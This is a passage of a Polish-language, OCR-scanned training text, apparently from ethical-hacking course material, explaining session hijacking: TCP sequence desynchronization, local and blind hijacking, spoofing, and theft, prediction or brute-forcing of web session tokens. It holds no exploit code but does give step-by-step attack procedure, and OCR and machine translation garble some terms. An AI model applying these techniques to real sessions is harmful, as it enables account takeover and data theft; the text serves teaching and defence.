Przejecie sesji
Cele ksztatcenia

Przejecie sesji umozliwia atakujgcym przejecie aktywnej sesji poprzez pominiecie procesu
uwierzytelniania . Nastepnie mogg wykona¢ dowolng akcje na porwanym systemie.

Koncepcje przejmowania sesji

Zapoznanie sie z podstawowymi pojeciami zwigzanymi z przechwytywaniem sesji jest wazne dla
osiggniecia petnego zrozumienia. W tej sekcji wyjasniono, czym jest przejecie sesji, a takze powody,
dla ktérych przejecie sesji sie powiodto. Omdwiono réwniez proces przejmowania sesji, analize
pakietéw lokalnego przejmowania sesji, rodzaje przejmowania sesji, przejmowanie sesji w modelu
Open Systems Interconnection (OSl) oraz réznice miedzy spoofingiem a przejmowaniem.

Co to jest przejmowanie ses;ji?

Serwer WWW wysyta token lub klucz identyfikacyjny sesji do klienta WWW po pomysinym
uwierzytelnieniu. Te tokeny sesji rozrdzniajg wiele sesji ustanawianych przez serwer z klientami.
Serwery internetowe uzywajg réznych mechanizméw do generowania losowych tokendw i kontrolek
aby zabezpieczyé tokeny podczas transmisji. Przejecie sesji to atak, w ktérym osoba atakujaca
przejmuje prawidtowg sesje komunikacyjng protokotu TCP (Transmission Control Protocol) miedzy
dwoma komputerami. Poniewaz wiekszo$¢ rodzajow uwierzytelniania jest wykonywana tylko na
poczatku sesji TCP, osoba atakujgca moze uzyska¢ dostep do komputera w trakcie trwania sesji.
Atakujgcy moga przechwyci¢ caty ruch z ustalonych sesji TCP i dokona¢ kradziezy tozsamosci, kradziezy
informacji, oszustwa itp. Atak polegajgcy na przejeciu sesji wykorzystuje mechanizm generowania
tokendw sesji lub kontroli bezpieczenstwa tokendw, dzieki czemu atakujagcy moze nawigzac
nieautoryzowane potgczenie z serwerem docelowym . Atakujgcy moze odgadngé lub wykrasc
prawidtowy identyfikator sesji, ktéry identyfikuje uwierzytelnionych uzytkownikdéw, i uzy¢ go do
ustanowienia sesji z serwerem. Serwer WWW odpowiada na zgdania atakujgcego, majgc wrazenie, ze
komunikuje sie z uwierzytelnionym uzytkownikiem. Atakujacy mogg wykorzystywaé przejmowanie
sesji do przeprowadzania réznych rodzajéw atakéw, takich jak ataki man-in-themiddle (MITM) i ataki
typu ,odmowa ustugi” (DoS). W ataku MITM atakujgcy umieszcza sie miedzy autoryzowanym klientem
a serwerem, dokonujac przejecia sesji, aby upewni¢ sie, ze informacje przeptywajgce w dowolnym
kierunku przechodzg przez niego. Jednak klient i serwer uwazajg, ze komunikujg sie ze sobg
bezposrednio. Atakujgcy mogag réwniez wacha¢ poufne informacje i zaktdéca¢ sesje w celu
przeprowadzenia ataku DoS.

Dlaczego przejecie sesji jest skuteczne?
Przejecie sesji konczy sie sukcesem z powodu nastepujgcych czynnikéw.

Brak blokady konta z powodu nieprawidtowych identyfikatoréw sesji: jesli witryna internetowa nie
stosuje blokady konta, osoba atakujgca moze podjgé kilka préb potaczenia z réznymi identyfikatorami
sesji osadzonymi w oryginalnym adresie URL. Atakujgcy moze kontynuowac préby, dopdki nie zostanie
okreslony rzeczywisty identyfikator sesji. Atak ten jest réwniez znany jako atak brute-force. Podczas
ataku typu brute-force serwer WWW nie wyswietla komunikatu ostrzegawczego ani skargi, co pozwala
atakujgcemu na okreslenie prawidtowego identyfikatora sesji.

Staby algorytm generowania identyfikatoréw sesji lub mate identyfikatory sesji: wiekszos¢ witryn
uzywa algorytmow liniowych do przewidywania zmiennych, takich jak czas lub adres IP, w celu
generowania identyfikatorow sesji. Badajgc sekwencyjny wzorzec i generujgc wiele zgdan, osoba



atakujgca moze tatwo zawezié¢ przestrzen wyszukiwania niezbedng do sfatszowania prawidtowego
identyfikatora sesji. Nawet jesli uzywany jest silny algorytm generowania identyfikatora sesji,
identyfikator aktywnej sesji mozna tatwo okresli¢, jesli faricuch jest krotki.

Niepewna obstuga identyfikatorow sesji: osoba atakujgca moze odzyskac¢ zapisane informacje o
identyfikatorze sesji, wprowadzajgc przegladarke uzytkownika w btad, aby odwiedzita inng witryne.
Przed wygasnieciem sesji osoba atakujgca moze wykorzystac informacje na wiele sposobdw, takich jak
zatruwanie systemu nazw domen (DNS), wykorzystanie skryptéw krzyzowych oraz wykorzystanie
btedu w przegladarce.

Nieokreslony limit czasu sesji: identyfikatory sesji z nieokreslonym czasem wygasniecia zapewniajg
atakujgcemu nieograniczony czas na odgadniecie prawidtowego identyfikatora sesji. Przyktadem tego
jest opcja ,,zapamietaj mnie” na wielu stronach internetowych. Atakujgcy moze uzy¢ statycznych
identyfikatorow sesji do konta internetowego uzytkownika po przechwyceniu pliku cookie
uzytkownika. Atakujacy moze réwniez wystepowac

Wiekszo$é komputerdw korzystajgcych z protokotu TCP/Internet Protocol (IP) jest narazona na ataki:
Wszystkie komputery korzystajgce z protokotu TCP/IP sg podatne na przejecie sesji z powodu wad
projektowych nieodtgcznie zwigzanych z protokotem TCP/IP.

Wiekszo$¢ srodkéw zaradczych nie dziata bez szyfrowania: tatwo jest wachac¢ identyfikatory sesji w
ptaskiej sieci, jesli zabezpieczenia transportu nie sg prawidtowo skonfigurowane podczas przesytania
plikdw cookie identyfikatora sesji, nawet jesli aplikacja internetowa korzysta z szyfrowania Secure
Sockets Layer (SSL). Zadanie atakujgcego staje sie jeszcze fatwiejsze, jesli przechwytuje on
identyfikatory sesji zawierajgce rzeczywiste dane logowania.

Proces przejmowania sesji

Atakujgcemu tatwiej jest wkrasc sie do systemu jako prawdziwy uzytkownik, niz wejs¢ do systemu
bezposrednio. Osoba atakujgca moze przejgc sesje prawdziwego uzytkownika, znajdujgc ustanowiong
sesje i przejmujac jg po uwierzytelnieniu uzytkownika. Po przejeciu sesji atakujgcy moze pozostawaé
w kontakcie przez wiele godzin bez wzbudzania podejrzen. W tym okresie caty ruch przeznaczony dla
adresu IP uzytkownika trafia zamiast tego do systemu atakujacego, a atakujgcy moze zainstalowad
tylne drzwi lub uzyska¢ dodatkowy dostep do systemu. Tutaj sprawdzamy, w jaki sposdb atakujacy
przejmuje sesje. Przejecie sesji mozna podzieli¢ na trzy szerokie fazy.

Sledzenie potaczenia

Atakujgcy uzywa sniffera sieciowego do sledzenia ofiary i hosta lub uzywa narzedzia takiego jak Nmap
do skanowania sieci w poszukiwaniu celu z tatwa do przewidzenia sekwencjg TCP. Po zidentyfikowaniu
ofiary atakujgcy przechwytuje sekwencje i numery potwierdzenia ofiary, poniewaz TCP sprawdza te
numery. Nastepnie atakujgcy uzywa tych liczb do konstruowania pakietéw.

Desynchronizacja potaczenia

Stan niezsynchronizowany wystepuje, gdy potgczenie miedzy celem a hostem jest ustanowione lub
stabilne bez transmisji danych lub numer sekwencyjny serwera nie jest réwny numerowi
potwierdzenia klienta lub odwrotnie. Aby zdesynchronizowac potaczenie miedzy celem a hostem,
atakujgcy musi zmieni¢ numer sekwencyjny lub numer potwierdzenia (SEQ/ACK) serwera. W tym celu
atakujacy wysyta do serwera dane zerowe; w konsekwencji numery SEQ/ACK serwera rosng, podczas
gdy maszyna docelowa nie rejestruje przyrostu. Na przyktad przed desynchronizacjg atakujgcy
monitoruje sesje bez zadnej ingerencji, po czym wysyta do serwera duzg ilo$¢ pustych danych. Te dane



zmieniajg numer ACK na serwerze bez wptywu na cokolwiek innego, desynchronizujgc w ten sposéb
serwer i cel. Innym podejsciem jest wystanie flagi resetowania do serwera w celu zerwania potaczenia
po stronie serwera. W idealnym przypadku ma to miejsce na wczesnym etapie konfiguracji pofaczenia.
Celem atakujgcego jest zerwanie pofgczenia po stronie serwera i utworzenie nowego potgczenia z
innym numerem sekwencyjnym. Atakujgcy czeka na pakiet SYN/ACK z serwera do hosta. Po wykryciu
pakietu atakujgcy natychmiast wysyta do serwera pakiet RST i pakiet SYN o identycznych parametrach,
takich jak numer portu z innym numerem sekwencyjnym. Serwer po odebraniu pakietu RST zamyka
pofaczenie z celem i inicjuje kolejne na podstawie pakietu SYN, ale z innym numerem sekwencyjnym
na tym samym porcie. Po otwarciu nowego potgczenia serwer wysyta pakiet SYN/ACK do celu w celu
potwierdzenia. Atakujgcy wykrywa (ale nie przechwytuje) ten pakiet i wysyta pakiet ACK do serwera.
Teraz serwer jest w stanie ustalonym. Ma to na celu utrzymanie komunikatywnosci celu i upewnienie
sig, ze po otrzymaniu pierwszego pakietu SYN/ACK od serwera przetgczy sie on do stanu ustalonego.
W rezultacie zaréwno serwer, jak i cel s3 zdesynchronizowane, ale w stanie ustalonym. Atakujacy moze
réwniez uzy¢ flagi FIN, ale spowoduje to, ze serwer odpowie pakietem ACK, ujawniajgc w ten sposdb
atak poprzez burze ACK. Atak zostaje ujawniony z powodu btedu w tej metodzie przejmowania
potfaczenia TCP. Otrzymujac pakiet, ktdrego nie mozna zaakceptowac, host potwierdza to, wysytajac
oczekiwany numer sekwencyjny. Ten niedopuszczalny pakiet generuje pakiet ACK, tworzac w ten
sposdb nieskoriczong petle dla kazdego pakietu danych. Niezgodno$¢ numerdéw SEQ/ACK powoduje
nadmierny ruch w sieci, gdy zardwno serwer, jak i cel probujg zweryfikowaé poprawng sekwencje.
Poniewaz pakiety te nie zawierajg zadnych danych, retransmisja nie nastepuje w przypadku utraty
pakietu. Poniewaz jednak protokdt TCP uzywa protokotu IP, utrata pojedynczego pakietu koriczy
niechciang konwersacje miedzy serwerem a celem. Atakujgcy moze dodac etap desynchronizujacy do
sekwencji porwania, aby oszuka¢ docelowego hosta. Bez desynchronizacji atakujgcy wstrzykuje dane
do serwera, ukrywajgc swojg tozsamosc poprzez fatszowanie adresu IP. Jednak atakujgcy powinien
upewnic sie, ze serwer odpowiada réwniez hostowi docelowemu.

Wstrzykniecie pakietu atakujacego

Gdy atakujgcy przerwie potaczenie miedzy serwerem a celem, moze albo wstrzykngé dane do sieci,
albo aktywnie uczestniczy¢ jako cztowiek posrodku, przekazujgc dane z celu do serwera i odwrotnie,
odczytujac i wstrzykujgc dane do woli .

Analiza pakietow lokalnego przejecia sesji

Przejecie sesji obejmuje wektory ataku wysokiego poziomu, ktdre wptywajg na wiele systemow.
Protokdt TCP jest uzywany do przesytania danych przez wiele systemodw, ktére ustanawiajg potaczenia
LAN lub internetowe. Aby ustanowié potgczenie miedzy dwoma systemami i pomyslinie przesta¢ dane,
oba systemy powinny przeprowadzi¢ tréjstronne uzgadnianie. Przejecie sesji polega na wykorzystaniu
metody trdjstronnego uzgadniania w celu przejecia kontroli nad sesjg. Aby przeprowadzi¢ atak
polegajacy na przejeciu sesji, atakujgcy wykonuje trzy czynnosci:

* Sledzenie sesji
* Desynchronizacja sesji
* Wstrzykiwanie polecen podczas sesji

Sniffujgc ruch sieciowy, osoba atakujgca moze monitorowac lub $ledzi¢ sesje. Nastepnym krokiem w
przejmowaniu sesji jest desynchronizacja sesji. Atak ten mozna fatwo przeprowadzi¢, jesli atakujacy
zna nastepny numer sekwencyjny (NSN) uzywany przez klienta. Sesja moze zostac przejeta przy uzyciu
tego numeru sekwencyjnego, zanim klient go uzyje. Istniejg dwie mozliwosci okreslenia numeréw



sekwencyjnych: jedna polega na wachaniu ruchu, znalezieniu pakietu ACK, a nastepnie okresleniu NSN
na podstawie pakietu ACK. Drugim jest przesytanie danych z odgadnietymi numerami sekwencyjnymi,
co nie jest niezawodng metoda. Jesli osoba atakujgca moze uzyskaé dostep do sieci i przechwycic sesje
TCP, moze fatwo okreslic numer sekwencyjny. Ten typ przejmowania sesji nazywany jest
,przechwytywaniem sesji lokalnej”.
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Zgodnie z powyzszym rysunkiem nastepny oczekiwany numer sekwencyjny to 1420. Jesli atakujgcy
przesle ten numer sekwencyjny pakietu przed uzytkownikiem, moze zdesynchronizowaé potaczenie
miedzy uzytkownikiem a serwerem. Jesli atakujgcy wystatby dane z oczekiwanym numerem
sekwencyjnym przed uzytkownikiem, serwer zostatby zsynchronizowany z atakujgcym. Prowadzi to do
ustanowienia potgczenia miedzy atakujagcym a serwerem. Nastepnie serwer odrzucat dane wystane
przez uzytkownika z poprawnym numerem sekwencyjnym, sadzac, ze jest to ponownie wystany pakiet.
Uzytkownik nie jest swiadomy dziatania atakujgcego i moze ponownie wystac pakiet danych, poniewaz
nie otrzymuje potwierdzenia ACK dla swojego pakietu TCP. Jednak serwer odrzucitby wszystkie pakiety
ponownie wystane przez uzytkownika. Wiec atak polegajacy na przejeciu sesji lokalnej zostat pomysinie
zakonczony.

Rodzaje przejmowania sesji

Przejecie sesji moze by¢ aktywne lub pasywne, w zaleznosci od stopnia zaangazowania atakujacego.
Zasadnicza réznica miedzy aktywnym a pasywnym przejeciem polega na tym, ze podczas gdy aktywne
przejecie przejmuje istniejgcy sesje, pasywne przejecie monitoruje trwajgca sesje.

Pasywne przejmowanie sesji

W ataku pasywnym, po przejeciu sesji, atakujacy jedynie obserwuje i rejestruje caty ruch podczas sesji.
Atak pasywny wykorzystuje sniffery w sieci, umozliwiajgc atakujgcym uzyskanie informacji, takich jak
identyfikatory uzytkownikéw i hasta. Atakujagcy moze pdiniej wykorzystaé te informacje, aby
zalogowac sie jako wazny uzytkownik i korzysta¢ z uprawnien uzytkownika. Wachanie haset to
najprostszy atak majacy na celu uzyskanie surowego dostepu do sieci. Przeciwdziatanie temu atakowi
obejmuje rézne metody, od schematow identyfikacji (na przyktad systemy haset jednorazowych, takie
jak S/KEY) po identyfikacje biletéw (na przyktad Kerberos). Techniki te pomagajg chroni¢ dane przed



atakami typu sniffing, ale nie chronig przed aktywnymi atakami, jesli dane nie sg zaszyfrowane lub nie
maja podpisu cyfrowego.

Aktywne przejmowanie sesji

W aktywnym ataku osoba atakujgca przejmuje istniejgcy sesje, przerywajac potgczenie po jednej
stronie rozmowy lub aktywnie uczestniczgc. Przyktadem aktywnego ataku jest atak man-in-the-middle
(MITM). Aby przeprowadzi¢ udany atak MITM, atakujgcy musi odgadngé numer sekwencyjny, zanim
cel odpowie serwerowi. W wiekszosci obecnych sieci przewidywanie numeru sekwencyjnego nie
dziata, poniewaz dostawcy systemdw operacyjnych (OS) uzywajg wartosci losowych dla poczgtkowego
numeru sekwencyjnego, co utrudnia przewidywanie numeréw sekwencyjnych.

Przejecie sesji w modelu OSI
W modelu OSl istniejg dwa poziomy przejmowania sesji: poziom sieci i poziom aplikacji.
Przejecie na poziomie sieci

Przechwytywanie na poziomie sieci to przechwytywanie pakietow podczas transmisji miedzy klientem
a serwerem w sesji TCP/User Datagram Protocol (UDP). Udany atak dostarcza atakujgcemu kluczowych
informacji, ktére moga by¢ dalej wykorzystywane do atakowania sesji na poziomie aplikacji. Atakujgcy
najprawdopodobniej dokonujg przejecia na poziomie sieci, poniewaz nie muszg modyfikowad ataku na
podstawie poszczegdlnych aplikacji internetowych. Atak ten koncentruje sie na przeptywie danych
protokotu wspdtdzielonego przez wszystkie aplikacje internetowe.

Przejecie na poziomie aplikacji

Przejecie kontroli na poziomie aplikacji polega na przejeciu kontroli nad sesjg uzytkownika HTTP
(Hypertext Transfer Protocol) poprzez uzyskanie identyfikatoréw sesji. Na poziomie aplikacji osoba
atakujgca uzyskuje kontrole nad istniejaca sesjg i moze tworzyé nowe nieautoryzowane sesje przy
uzyciu skradzionych danych. Na ogét obie te czynnosci wystepujg razem, w zaleznosci od atakowanego
systemu.

Spoofing vs. Hijacking

W przypadku przejmowania kontroli na slepo atakujacy przewiduje numery sekwencji wysytane przez
hosta ofiary w celu utworzenia potfaczenia, ktére wydaje sie pochodzi¢ od hosta lub Slepej podrébki.
Aby zrozumiec porwanie na $lepo, wazne jest zrozumienie przewidywania liczby sekwencyjnej. Numery
sekwencyjne TCP, ktére sg unikalne dla kazdego bajtu w sesji TCP, zapewniajg kontrole przeptywu i
integralno$¢ danych. Segmenty TCP zawierajg poczatkowy numer sekwencyjny (ISN) jako czesc
nagtéwka kazdego segmentu. Numery ISN nie zaczynajg sie od zera dla kazdej sesji. W ramach procesu
uzgadniania kazdy uczestnik musi podaé numer ISN, a bajty s3 numerowane sekwencyjnie od tego
momentu. Przejecie sesji na $lepo polega na zdolnosci atakujgcego do przewidywania lub odgadywania
numerdw sekwencyjnych. Atakujgcy nie moze sfatszowac zaufanego hosta w innej sieci i obserwowac
odpowiedzi na pakiety, poniewaz nie istnieje trasa powrotu pakietdw do adresu IP atakujgcego. Co
wiecej, atakujgcy nie moze uciec sie do zatruwania pamieci podrecznej protokotu ARP (Address
Resolution Protocol), poniewaz routery nie rozgtaszajg protokotu ARP w Internecie. Poniewaz
atakujacy nie jest w stanie obserwowac odpowiedzi, musi przewidzie¢ odpowiedzi ofiary i uniemozliwié¢
hostowi wystanie pakietu TCP/RST do ofiary. Atakujgcy przewiduje numery sekwencyjne, ktérych
zdalny host oczekuje od ofiary, a nastepnie przejmuje komunikacje. Ta metoda jest przydatna podczas
wykorzystywania relacji zaufania miedzy uzytkownikami a zdalnymi maszynami. W ataku polegajgcym
na fatszowaniu osoba atakujgca udaje innego uzytkownika lub maszyne (ofiare), aby uzyskac dostep.



Zamiast przejmowac istniejgcg aktywng sesje, atakujacy inicjuje nowg sesje przy uzyciu skradzionych
danych uwierzytelniajgcych ofiary. Proste fatszowanie adresow IP jest tatwe do wykonania i przydatne
w réznych metodach atakéw. Aby utworzy¢ nowe nieprzetworzone pakiety, osoba atakujgca musi miec
uprawnienia administratora na komputerze. Jednak aby ustanowi¢ sfatszowane potgczenie przy uzyciu
tej techniki przejmowania sesji, osoba atakujgca musi znaé numery sekwencyjne uzywane przez
maszyne docelowa. Fatszowanie IP zmusza atakujgcego do prognozowania NSN. Kiedy atakujgcy uzywa
Slepego przejecia kontroli w celu wystania polecenia, nie moze zobaczy¢ odpowiedzi. W przypadku
fatszowania adresu IP bez przejmowania sesji zgadywanie numeru sekwencyjnego jest niepotrzebne,
poniewaz nie istnieje zadna aktualnie otwarta sesja z tym adresem IP. W przypadku przejecia sesji ruch
wraca do atakujgcego tylko wtedy, gdy uzywany jest routing zrédtowy. Routing zrédtowy to proces,
ktéry umozliwia nadawcy okreslenie trasy, ktdorg ma podgza¢ pakiet IP do miejsca docelowego.
Atakujacy wykonuje routing zrodtowy, a nastepnie wykrywa ruch przechodzacy przez atakujgcego.
Podczas fatszowania sesji przechwycone poswiadczenia uwierzytelniajgce sg uzywane do ustanowienia
sesji. W przeciwienstwie do tego, aktywne przejmowanie kontroli przyémiewa istniejgcg wczesniej
sesje. W wyniku tego ataku uprawniony uzytkownik moze utraci¢ dostep lub normalng funkcjonalnos¢
nawigzanej sesji Telnet, poniewaz osoba atakujgca przejmuje kontrole nad sesjg i dziata z
uprawnieniami uzytkownika. Poniewaz wiekszo$¢ mechanizmoéow uwierzytelniania jest wymuszana
tylko podczas inicjowania sesji, osoba atakujagca moze uzyska¢ dostep do maszyny docelowej bez
uwierzytelniania podczas trwania sesji. Inng metodg jest uzycie kierowanych ze zrédta pakietéw IP. Ten
typ ataku MITM umozliwia atakujgcemu wtgczenie sie w konwersacje miedzy celem a hostem poprzez
zwodnicze kierowanie pakietami IP w celu przejscia przez ich system. Przejecie sesji to proces
przejmowania istniejgcej aktywnej sesji. Osoba atakujgca polega na legalnym uzytkowniku, ktéry
nawigze potaczenie i uwierzytelni sie. Przejecie sesji jest trudniejsze niz fatszowanie adresu IP. Podczas
przejmowania sesji John (osoba atakujgca) prébowataby wstawic sie do sesji, ktérg James (prawowity
uzytkownik) juz skonfigurowat z \\Mail. John czekat, az James ustanowi sesje, przesunat Jamesa z
ustanowionej sesji w jakis sposdb, na przyktad atak DoS, a nastepnie podjat sesje, jakby byt Jamesem.
Nastepnie John wysytat oskryptowany zestaw pakietéw do \\Mail i obserwowat odpowiedzi. W tym
celu John musi zna¢ numer sekwencyjny uzywany podczas przejmowania sesji. Aby obliczy¢ numer
sekwencyjny, musi zna¢ numer ISN oraz liczbe pakietéw biorgcych udziat w procesie wymiany.
Skuteczne przejecie sesji jest trudne bez uzycia znanych narzedzi i jest mozliwe tylko wtedy, gdy
atakujacy ma kontrole nad kilkoma czynnikami. Znajomos¢ numeru ISN to najmniejsze z wyzwan Johna.
Na przyktad John potrzebuje metody, aby wyprzec¢ Jamesa z aktywnej sesji, a takze metody poznania
doktadnego stanu sesji Jamesa w momencie, gdy James jest przesuniety. Oba te zadania wymagajg od
Johna znacznie wiekszej wiedzy i kontroli nad sesja, niz bytoby to normalnie mozliwe. Flowever ataki
polegajgce na fatszowaniu adresow IP mogg odniesc sukces tylko wtedy, gdy atakujgcy uzyje adreséw
IP do uwierzytelnienia. Nie mogg przeprowadzac¢ fatszowania adreséw IP ani przejmowania sesji, jesli
wykonywane jest sprawdzanie integralnosci poszczegdlnych pakietdw. W ten sam sposdb fatszowanie
adresu IP lub przejecie sesji nie jest mozliwe, jesli sesja wykorzystuje metody szyfrowania, takie jak
Secure Sockets Layer (SSL) lub Point-to-Point Tunneling Protocol (PPTP). W zwigzku z tym atakujacy nie
moze uczestniczy¢ w wymianie kluczy. Podsumowujac, przejecie niezaszyfrowanej komunikacji TCP
wymaga obecnosci niezaszyfrowanego ruchu zorientowanego na sesje, zdolnos$ci rozpoznawania
numerdw sekwencyjnych TCP, na podstawie ktérych mozna przewidzieé¢ nastepny numer sekwencyjny
(NSN), oraz zdolnosci do fatszowania dostepu do medidw hosta control (MAC) lub adres IP w celu
odbierania komunikatéw, ktdére nie sg przeznaczone dla hosta atakujgcego. Jesli atakujgcy znajduje sie
w segmencie lokalnym, moze wyweszy¢ i przewidzie¢ numer ISN + 1 oraz przekierowaé ruch z
powrotem do niego, zatruwajgc pamieci podreczne ARP na dwéch legalnych hostach uczestniczgcych
w sesji.



Przejecie sesji na poziomie aplikacji

W tej sekcji omoOwiono przejmowanie sesji na poziomie aplikacji i r6zne metody narazania tokena sesji,
takie jak wachanie sesji i uzywanie przewidywalnych tokendéw sesji. Podczas przejmowania sesji na
poziomie aplikacji osoba atakujgca kradnie lub przewiduje prawidtowy token sesji w celu uzyskania
nieautoryzowanego dostepu do serwera WWW lub utworzenia nowej nieautoryzowanej sesji. Zwykle
przechwytywanie sesji na poziomie sieci i aplikacji odbywa sie razem, poniewaz udane przejecie sesji
na poziomie sieci dostarcza atakujagcemu wystarczajacych informacji do wykonania przechwycenia sesji
na poziomie aplikacji. Przechwytywanie sesji na poziomie aplikacji opiera sie na sesjach HTTP.
Atakujgcy stosuje rdozne techniki, takie jak kradziez, zgadywanie i brutalne wymuszanie, aby uzyskac
prawidtowy identyfikator sesji, co pomaga w przejeciu kontroli nad prawidtowg sesjg uzytkownika w
trakcie jej trwania.

Kradziez: Atakujacy uzywajg réznych technik do kradziezy identyfikatoréw sesji. Osoba atakujgca moze
ukras¢ klucz sesji poprzez dostep fizyczny, na przyktad uzyskujgc pliki zawierajgce identyfikatory sesji
lub zawartos¢ pamieci systemu uzytkownika lub serwera. Atakujgcy moze réwniez uzy¢ narzedzi do
podstuchiwania, takich jak Wireshark lub Riverbed Packet Analyzer Plus, do podstuchiwania ruchu
miedzy klientem a serwerem w celu wyodrebnienia identyfikatoréw sesji z pakietow.

Zgadywanie: osoba atakujgca prébuje odgadna¢ identyfikatory sesji, obserwujgc zmienne sesji. W
przypadku przejmowania sesji zakres mozliwych do odgadniecia identyfikatorow sesji jest ograniczony.
Dlatego techniki zgadywania sg skuteczne tylko wtedy, gdy serwery uzywajg stabych lub wadliwych
mechanizmdw generowania identyfikatoréw ses;ji.

Brutalne wymuszanie: w technice brutalnej sity osoba atakujgca uzyskuje identyfikatory sesji, prébujgc
wszystkich mozliwych permutacji wartosci identyfikatora sesji, az do znalezienia dziatajgcego. Osoba
atakujgca korzystajgca z cyfrowej linii abonenckiej (DSL) moze wygenerowac do 1000 identyfikatoréw
sesji na sekunde. Ta technika jest najbardziej uzyteczna, gdy algorytm generujacy identyfikatory sesji
nie jest losowy.
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Attacker Server

Jak pokazano na powyzszym rysunku, uprawniony uzytkownik tgczy sie z serwerem o identyfikatorze
sesji VW30422101522507. Wykorzystujac rézine kombinacje, takie jak VW30422101518909 i
VW30422101520803, osoba atakujgca prébuje brutalnie wymusi¢ identyfikator sesji w nadziei, ze
ostatecznie uzyska prawidtowy identyfikator sesji. Gdy atakujgcy uzyska prawidtowy identyfikator ses;ji,
uzyskuje petny dostep do danych uzytkownika i moze wykonywaé operacje w imieniu uprawnionego
uzytkownika.

Uwaga: jesli przewidywany zakres wartosci dla identyfikatora sesji jest bardzo maty, atak polegajgcy
na wymuszeniu identyfikatora sesji jest okreslany jako atak polegajacy na przewidywaniu sesji.



Token sesji moze zosta¢ naruszony na rézne sposoby:
Podstuchiwanie sesji

Przewidywalny token sesji

Atak typu man-in-the-middle (MUM).

Atak typu ,cztowiek w przegladarce”.

Atak typu cross-site scripting (XSS).

Atak polegajacy na fatszowaniu zgdan miedzy witrynami
Atak powtorki sesji

Atak utrwalania ses;ji

Atak ZBRODNI

Zakazany atak

Atak darowizny sesji

Porwanie PetitPotam

tamanie identyfikatorow sesji przy uzyciu sniffingu

Serwer WWW identyfikuje potaczenie uzytkownika za pomocg unikalnego identyfikatora sesji
(znanego réwniez jako token sesji). Serwer WWW wysyta token sesji do przegladarki klienta po
pomysinym uwierzytelnieniu logowania klienta. Zwykle token sesji sktada sie z ciggu o zmiennej
szerokosci, ktéry jest przydatny na rézne sposoby, na przyktad w nagtéwku zgdania HTTP (plik cookie),
w adresie URL lub w tresci zgdania HTTP. Atakujgcy uzywa narzedzi do podstuchiwania pakietéw, takich
jak Wireshark i Riverbed Packet Analyzer Plus, aby przechwyci¢ ruch HTTP miedzy ofiarg a serwerem
sieciowym. Atakujacy nastepnie analizuje dane w przechwyconych pakietach, aby zidentyfikowa¢
cenne informacje, takie jak identyfikatory sesji i hasta. Po ustaleniu identyfikatora sesji atakujgcy
podszywa sie pod ofiare i wysyta identyfikator sesji do serwera WWW, zanim zrobi to ofiara. Atakujacy
uzywa waznej sesji tokena, aby uzyska¢ nieautoryzowany dostep do serwera WWW. W ten sposéb
atakujacy przejmuje kontrole nad istniejacg legalng sesja.

Narazanie identyfikatorow sesji przez przewidywanie tokena sesji

Identyfikator sesji jest oznaczany jako dowdd uwierzytelnionej sesji ustanowionej miedzy
uzytkownikiem a serwerem WWW. Tak wiec, jesli osoba atakujgca moze odgadnac lub przewidzie¢
identyfikator sesji uzytkownika, mozliwa jest nieuczciwa dziatalno$é. Przewidywanie sesji umozliwia
atakujagcemu ominiecie schematu uwierzytelniania aplikacji. Zazwyczaj osoby atakujgce mogg
przewidzie¢ identyfikatory sesji wygenerowane przez stabe algorytmy i podszy¢ sie pod uzytkownika
witryny. Atakujgcy analizujg zmienng sekcje identyfikatoréw sesji, aby ustali¢ istnienie wzorca. Ta
analiza jest wykonywana recznie lub przy uzyciu réznych narzedzi kryptoanalitycznych. Atakujgcy
zbiera duzg liczbe jednoczesnych identyfikatoréw sesji, aby zebra¢ prébki w tym samym oknie
czasowym i utrzymac stata zmienng. Po pierwsze, osoba atakujgca zbiera kilka prawidtowych
identyfikatorow sesji, ktére sg przydatne do identyfikowania uwierzytelnionych uzytkownikow.
Nastepnie osoba atakujgca bada strukture identyfikatora sesji, informacje uzyte do jej wygenerowania
oraz algorytm uzywany przez aplikacje internetowg do jej zabezpieczenia. Na podstawie tych ustalen
osoba atakujgca moze przewidzie¢ identyfikator sesji. Atakujgcy mogg rowniez odgadngé



identyfikatory sesji za pomoca techniki brutalnej sity, w ktdrej generujg i testujg rézne wartosci
identyfikatoréw sesji, dopdki nie uzyskajg dostepu do aplikacji.

Jak przewidziec token sesji

Wiekszos¢ serweréw internetowych generuje identyfikatory sesji przy uzyciu niestandardowych
algorytmow lub wstepnie zdefiniowanego wzorca, ktéry moze po prostu zwiekszac liczby statyczne,
podczas gdy inne uzywajg bardziej ztozonych procedur, takich jak uwzglednianie czasu i innych
zmiennych specyficznych dla komputera. W ten sposéb osoby atakujagce mogg identyfikowaé
wygenerowane identyfikatory sesji w nastepujgcy sposdb:

Osadzanie w adresie URL, ktory jest odbierany przez zgdanie GET w aplikacji, gdy linki osadzone na
stronie sg klikane przez klientow

Osadzanie w formularzu jako pola ukrytego, ktore jest przesytane do komendy POST HTTP
Osadzanie w plikach cookies na lokalnej maszynie klienta

Atakujacy odgaduje unikalng wartos¢ sesji lub dedukuje identyfikator sesji, aby przeja¢ sesje. Jak
pokazano na ponizszym rysunku, osoba atakujgca najpierw przechwytuje kilka identyfikatorow ses;ji i
analizuje wzorzec.

http://www.certifiedhacker.com/view/JBEX12042022152820
http://www.certifiedhacker.com/view/JBEX12042022153020
http://www.certifiedhacker.com/view/JBEX12042022160020
http://www.certifiedhacker.com/view/JBEX12042022164020
Stata data i godzina

Analizujgc wzorzec, o godzinie 16:25:55 w dniu 14 kwietnia 2022 r. osoba atakujgca z powodzeniem
przewiduje identyfikator sesji, jak pokazano na ponizszym rysunku.

http://www.certifiedhacker.com/view/JBEX14042022162555

Stata data i godzina

Teraz atakujgcy moze przeprowadzi¢ atak, wykonujac nastepujgce kroki.

* Atakujgcy uzyskuje biezgcy identyfikator sesji i taczy sie z aplikacjg internetowa.
* Atakujacy stosuje technike brutalnej sity lub oblicza identyfikator nastepne;j ses;ji.

*Atakujgcy modyfikuje biezgcg warto$é w polu cookie/adresu URL/ukrytego formularza i przyjmuje
tozsamos$é nastepnego uzytkownika.

tamanie identyfikatoréw sesji za pomocg ataku Man-in-the-Middle/Manipulator-in-the-Middle

Atak man-in-the-middle/manipulator-in-the-middle (MITM) stuzy do ingerencji w istniejgce potgczenie
miedzy systemami i przechwytywania przesytanych wiadomosci. W tym ataku atakujacy uzywaja
réznych technik i dzielg potaczenie TCP na dwa: pofaczenie klient-atakujgcy i potaczenie atakujgcy-
serwer. Po pomyslnym przechwyceniu potgczenia TCP osoba atakujgca moze odczytaé, zmodyfikowac



i wstawi¢ fatszywe dane do przechwyconej komunikacji. W przypadku transakcji HTTP celem jest
